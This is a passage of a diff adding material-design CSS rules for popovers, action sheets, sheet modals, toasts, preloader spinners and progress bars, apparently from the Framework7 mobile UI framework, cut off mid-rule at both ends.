.login-screen-content .list-button.color-gray { + color: #9e9e9e; +} +.md .login-screen-content .list-button.color-white { + color: #ffffff; +} +.md .login-screen-content .list-button.color-black { + color: #000000; +} +/* === Popover === */ +.popover-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popover-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popover { + width: 260px; + z-index: 13500; + margin: 0; + top: 0; + opacity: 0; + left: 0; + position: absolute; + display: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.popover .list { + margin: 0; +} +.popover .list ul { + background: none; +} +.popover .list:first-child ul:before { + display: none !important; +} +.popover .list:last-child ul:after { + display: none !important; +} +.popover.modal-in { + opacity: 1; +} +.popover.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.popover-from-actions-bold { + font-weight: 600; +} +.popover-from-actions-label { + line-height: 1.3; + position: relative; +} +.popover-from-actions-label:last-child:after { + display: none !important; +} +.md .popover { + background: #fff; + border-radius: 4px; + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + -webkit-transform: scale(0.85, 0.6); + transform: scale(0.85, 0.6); + -webkit-transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, transform, border-radius; + transition-property: opacity, transform, border-radius, -webkit-transform; +} +.md .popover.modal-in { + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover.modal-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover .list:first-child ul { + border-radius: 3px 3px 0 0; +} +.md .popover .list:first-child li:first-child, +.md .popover .list:first-child li:first-child a, +.md .popover .list:first-child li:first-child > label { + border-radius: 3px 3px 0 0; +} +.md .popover .list:last-child ul { + border-radius: 0 0 3px 3px; +} +.md .popover .list:last-child li:last-child, +.md .popover .list:last-child li:last-child a, +.md .popover .list:last-child li:last-child > label { + border-radius: 0 0 3px 3px; +} +.md .popover .list:first-child:last-child li:first-child:last-child, +.md .popover .list:first-child:last-child li:first-child:last-child a, +.md .popover .list:first-child:last-child li:first-child:last-child > label, +.md .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.md .popover .list + .list { + margin-top: 35px; +} +.md .popover-on-top { + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .popover-on-bottom { + -webkit-transform-origin: center top; + transform-origin: center top; +} +.md .popover-from-actions .list { + margin: 0; +} +.md .popover-from-actions .item-link i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .popover-from-actions-label { + padding: 8px 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; +} +.md .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .popover { + background-color: #202020; +} +.md .theme-dark .popover-from-actions-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .popover-from-actions-label:after { + background-color: rgba(255, 255, 255, 0.08); +} +/* === Actions === */ +.actions-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.actions-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.actions-modal { + position: absolute; + left: 0; + bottom: 0; + z-index: 13500; + width: 100%; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + display: none; + max-height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.actions-modal.modal-in, +.actions-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.actions-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-modal.modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.actions-modal.modal-out { + z-index: 13499; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 496px) { + .actions-modal { + width: 480px; + left: 50%; + margin-left: -240px; + } +} +.actions-group { + position: relative; +} +.actions-button, +.actions-label { + width: 100%; + font-weight: normal; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + position: relative; +} +.actions-button a, +.actions-label a { + text-decoration: none; + color: inherit; + display: block; +} +.actions-button b, +.actions-label b, +.actions-button.actions-button-bold, +.actions-label.actions-button-bold { + font-weight: 500; +} +.actions-button { + cursor: pointer; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.actions-button-media { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-button-text { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.actions-label { + line-height: 1.3; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-grid .actions-group { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.actions-grid .actions-button { + width: 33.33333333%; + display: block; +} +.actions-grid .actions-button-media { + margin-left: auto; + margin-right: auto; +} +.actions-grid .actions-button-text { + margin-left: 0 !important; + text-align: center; +} +.md .actions-modal { + background: #fff; +} +.md .actions-group:last-child:after { + display: none !important; +} +.md .actions-group:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .actions-group:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .actions-group:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .actions-button, +.md .actions-label { + padding: 0 16px; +} +.md .actions-button { + line-height: 48px; + font-size: 16px; + color: rgba(0, 0, 0, 0.87); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; +} +.md .actions-button a, +.md .actions-button { + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; +} +.md .actions-button a.active-state, +.md .actions-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .actions-button-media { + min-width: 40px; +} +.md .actions-button-media i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .actions-button-media + .actions-button-text { + margin-left: 16px; +} +.md .actions-label { + font-size: 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .actions-grid { + padding: 0; +} +.md .actions-grid .actions-button-media { + width: 48px; + height: 48px; +} +.md .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.md .actions-grid .actions-button { + padding: 16px; + line-height: 1; +} +.md .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.md .actions-button.color-red, +.md .actions-label.color-red, +.md .actions-button.color-red .actions-button-text { + color: #f44336; +} +.md .actions-button.color-green, +.md .actions-label.color-green, +.md .actions-button.color-green .actions-button-text { + color: #4caf50; +} +.md .actions-button.color-blue, +.md .actions-label.color-blue, +.md .actions-button.color-blue .actions-button-text { + color: #2196f3; +} +.md .actions-button.color-pink, +.md .actions-label.color-pink, +.md .actions-button.color-pink .actions-button-text { + color: #e91e63; +} +.md .actions-button.color-yellow, +.md .actions-label.color-yellow, +.md .actions-button.color-yellow .actions-button-text { + color: #ffeb3b; +} +.md .actions-button.color-orange, +.md .actions-label.color-orange, +.md .actions-button.color-orange .actions-button-text { + color: #ff9800; +} +.md .actions-button.color-gray, +.md .actions-label.color-gray, +.md .actions-button.color-gray .actions-button-text { + color: #9e9e9e; +} +.md .actions-button.color-white, +.md .actions-label.color-white, +.md .actions-button.color-white .actions-button-text { + color: #ffffff; +} +.md .actions-button.color-black, +.md .actions-label.color-black, +.md .actions-button.color-black .actions-button-text { + color: #000000; +} +.md.device-iphone-x .actions-modal.modal-in { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +/* === Sheet Modal === */ +.sheet-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.sheet-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.sheet-modal { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 260px; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 12500; +} +.sheet-modal.modal-in, +.sheet-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sheet-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-modal.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.sheet-modal.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.sheet-modal .sheet-modal-inner { + height: 100%; + position: relative; + overflow: hidden; +} +.sheet-modal .toolbar { + position: relative; + width: 100%; +} +.md .sheet-modal { + background: #fff; +} +.md .sheet-modal .toolbar { + top: 0; +} +.md .sheet-modal .toolbar:after { + display: none; +} +.md .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 48px); +} +.md .sheet-modal .toolbar a.link:not(.tab-link) { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .sheet-modal-inner .page-content { + padding-top: 0; +} +.md.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.md.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.md .theme-dark .sheet-modal { + background-color: #202020; +} +/* === Toast === */ +.toast { + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + position: absolute; + max-width: 568px; + z-index: 20000; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast.modal-in { + opacity: 1; +} +.toast .toast-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast .toast-text { + line-height: 20px; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.toast .toast-button { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.toast.toast-with-icon .toast-content { + display: block; + text-align: center; +} +.toast.toast-with-icon .toast-text { + text-align: center; +} +.toast.toast-with-icon .toast-icon .f7-icons { + font-size: 50px; + width: 50px; + height: 50px; +} +.toast.toast-with-icon .toast-icon .material-icons { + font-size: 48px; + width: 48px; + height: 48px; +} +.toast.toast-center { + top: 50%; + opacity: 0; +} +@media (min-width: 1024px) { + .toast { + opacity: 0; + } +} +html.with-statusbar.device-ios .toast-top, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top { + margin-top: 20px; +} +html.with-statusbar.device-iphone-x .toast-top { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .toast-top, +html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top { + margin-top: 24px; +} +.md .toast { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + border-radius: 4px; + background: #323232; + opacity: 0; + left: 8px; + width: calc(100% - 16px); + -webkit-transform: scale(0.9); + transform: scale(0.9); +} +.md .toast.modal-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.md .toast.modal-out { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 0; +} +.md .toast.toast-center { + left: 50%; + width: auto; + background: rgba(0, 0, 0, 0.75); + -webkit-transform: scale(0.9) translate3d(-55%, -55%, 0); + transform: scale(0.9) translate3d(-55%, -55%, 0); +} +.md .toast.toast-center.modal-in { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-center.modal-out { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-bottom { + bottom: 8px; +} +.md .toast.toast-top { + top: 8px; +} +@media (min-width: 584px) { + .md .toast { + left: 50%; + margin-left: -284px; + } + .md .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 1024px) { + .md .toast { + margin-left: 0; + width: auto; + } + .md .toast.toast-bottom, + .md .toast.toast-top { + left: 24px; + } + .md .toast.toast-bottom { + bottom: 24px; + } + .md .toast.toast-top { + top: 24px; + } +} +.md .toast-content { + padding: 14px 24px; +} +.md .toast-button { + margin-top: -8px; + margin-bottom: -8px; + margin-left: 16px; + margin-right: -8px; +} +@media (max-width: 568px) { + .md.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(14px + constant(safe-area-inset-bottom)); + padding-bottom: calc(14px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 1024px) { + .md.device-iphone-x .toast-bottom.modal-in { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); + } +} +/* === Preloader === */ +.preloader { + display: inline-block; + vertical-align: middle; +} +/* === Preloader Modal === */ +.preloader-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + visibility: visible; + opacity: 0; + background: none; +} +.preloader-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.preloader-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.preloader-modal { + position: absolute; + left: 50%; + top: 50%; + padding: 8px; + background: rgba(0, 0, 0, 0.8); + z-index: 13500; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.preloader-modal .preloader { + display: block !important; +} +html.with-modal-preloader .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.md .preloader { + font-size: 0; + display: inline-block; + width: 32px; + height: 32px; + -webkit-animation: md-preloader-outer 3300ms linear infinite; + animation: md-preloader-outer 3300ms linear infinite; +} +@-webkit-keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +.md .preloader-inner { + position: relative; + display: block; + width: 100%; + height: 100%; + -webkit-animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; + animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; +} +.md .preloader-inner .preloader-inner-gap { + position: absolute; + width: 2px; + left: 50%; + margin-left: -1px; + top: 0; + bottom: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-top: 4px solid #757575; +} +.md .preloader-inner .preloader-inner-left, +.md .preloader-inner .preloader-inner-right { + position: absolute; + top: 0; + height: 100%; + width: 50%; + overflow: hidden; +} +.md .preloader-inner .preloader-inner-half-circle { + position: absolute; + top: 0; + height: 100%; + width: 200%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 4px solid #757575; + border-bottom-color: transparent !important; + border-radius: 50%; + -webkit-animation-iteration-count: infinite; + animation-iteration-count: infinite; + -webkit-animation-duration: 1.3125s; + animation-duration: 1.3125s; + -webkit-animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); + animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); +} +.md .preloader-inner .preloader-inner-left { + left: 0; +} +.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle { + left: 0; + border-right-color: transparent !important; + -webkit-animation-name: md-preloader-left-rotate; + animation-name: md-preloader-left-rotate; +} +.md .preloader-inner .preloader-inner-right { + right: 0; +} +.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle { + right: 0; + border-left-color: transparent !important; + -webkit-animation-name: md-preloader-right-rotate; + animation-name: md-preloader-right-rotate; +} +.md .preloader-modal { + border-radius: 4px; +} +.md .preloader.color-red .preloader-inner-gap, +.md .preloader.preloader-red .preloader-inner-gap, +.md .preloader.color-red .preloader-inner-half-circle, +.md .preloader.preloader-red .preloader-inner-half-circle { + border-color: #f44336; +} +.md .preloader.color-green .preloader-inner-gap, +.md .preloader.preloader-green .preloader-inner-gap, +.md .preloader.color-green .preloader-inner-half-circle, +.md .preloader.preloader-green .preloader-inner-half-circle { + border-color: #4caf50; +} +.md .preloader.color-blue .preloader-inner-gap, +.md .preloader.preloader-blue .preloader-inner-gap, +.md .preloader.color-blue .preloader-inner-half-circle, +.md .preloader.preloader-blue .preloader-inner-half-circle { + border-color: #2196f3; +} +.md .preloader.color-pink .preloader-inner-gap, +.md .preloader.preloader-pink .preloader-inner-gap, +.md .preloader.color-pink .preloader-inner-half-circle, +.md .preloader.preloader-pink .preloader-inner-half-circle { + border-color: #e91e63; +} +.md .preloader.color-yellow .preloader-inner-gap, +.md .preloader.preloader-yellow .preloader-inner-gap, +.md .preloader.color-yellow .preloader-inner-half-circle, +.md .preloader.preloader-yellow .preloader-inner-half-circle { + border-color: #ffeb3b; +} +.md .preloader.color-orange .preloader-inner-gap, +.md .preloader.preloader-orange .preloader-inner-gap, +.md .preloader.color-orange .preloader-inner-half-circle, +.md .preloader.preloader-orange .preloader-inner-half-circle { + border-color: #ff9800; +} +.md .preloader.color-gray .preloader-inner-gap, +.md .preloader.preloader-gray .preloader-inner-gap, +.md .preloader.color-gray .preloader-inner-half-circle, +.md .preloader.preloader-gray .preloader-inner-half-circle { + border-color: #9e9e9e; +} +.md .preloader.color-white .preloader-inner-gap, +.md .preloader.preloader-white .preloader-inner-gap, +.md .preloader.color-white .preloader-inner-half-circle, +.md .preloader.preloader-white .preloader-inner-half-circle { + border-color: #ffffff; +} +.md .preloader.color-black .preloader-inner-gap, +.md .preloader.preloader-black .preloader-inner-gap, +.md .preloader.color-black .preloader-inner-half-circle, +.md .preloader.preloader-black .preloader-inner-half-circle { + border-color: #000000; +} +.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-left-rotate-multicolor; + animation-name: md-preloader-left-rotate-multicolor; +} +.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-right-rotate-multicolor; + animation-name: md-preloader-right-rotate-multicolor; +} +@-webkit-keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@-webkit-keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@-webkit-keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@-webkit-keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@-webkit-keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +@keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +/* === Progressbar === */ +.progressbar, +.progressbar-infinite { + width: 100%; + overflow: hidden; + position: relative; + display: block; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +body > .progressbar, +.view > .progressbar, +.views > .progressbar, +.page > .progressbar, +.panel > .progressbar, +.popup > .progressbar, +.framework7-root > .progressbar, +body > .progressbar-infinite, +.view > .progressbar-infinite, +.views > .progressbar-infinite, +.page > .progressbar-infinite, +.panel > .progressbar-infinite, +.popup > .progressbar-infinite, +.framework7-root > .progressbar-infinite { + position: absolute; + left: 0; + top: 0; + z-index: 15000; + border-radius: 0 !important; + -webkit-transform-origin: center top !important; + transform-origin: center top !important; +} +.with-statusbar.device-ios body > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-ios .framework7-root > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-ios body > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-ios .framework7-root > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 20px; +} +.with-statusbar.device-android body > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-android .framework7-root > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-android body > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-android .framework7-root > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 24px; +} +.with-statusbar.device-iphone-x body > .progressbar, +.with-statusbar.device-iphone-x .framework7-root > .progressbar, +.with-statusbar.device-iphone-x body > .progressbar-infinite, +.with-statusbar.device-iphone-x .framework7-root > .progressbar-infinite { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.progressbar { + vertical-align: middle; +} +.progressbar span { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.progressbar-infinite:before, +.progressbar-infinite:after { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform-origin: left center; + transform-origin: left center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + display: block; +} +.progressbar-infinite.color-multi { + background: none !important; +} +.progressbar-in { + -webkit-animation: progressbar-in 150ms forwards; + animation: progressbar-in 150ms forwards; +} +.progressbar-out { + -webkit-animation: progressbar-out 150ms forwards; + animation: progressbar-out 150ms forwards; +} +@-webkit-keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@-webkit-keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +@keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +.md .progressbar, +.md .progressbar-infinite { + height: 4px; + background: rgba(33, 150, 243, 0.5); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .progressbar span { + background: #2196f3; +} +.md .progressbar-infinite { + z-index: 15000; +} +.md .progressbar-infinite:before, +.md .progressbar-infinite:after { + content: ''; + background: #2196f3; +} +.md .progressbar-infinite:before { + -webkit-animation: md-progressbar-infinite-1 2s linear infinite; + animation: md-progressbar-infinite-1 2s linear infinite; +} +.md .progressbar-infinite:after { + -webkit-animation: md-progressbar-infinite-2 2s linear infinite; + animation: md-progressbar-infinite-2 2s linear infinite; +} +.md .progressbar-infinite.color-multi:before { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; + animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; +} +.md .progressbar-infinite.color-multi:after { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + -webkit-transform-origin: center center; + transform-origin: center center; +} +.md .color-theme-red .progressbar, +.md .color-theme-red 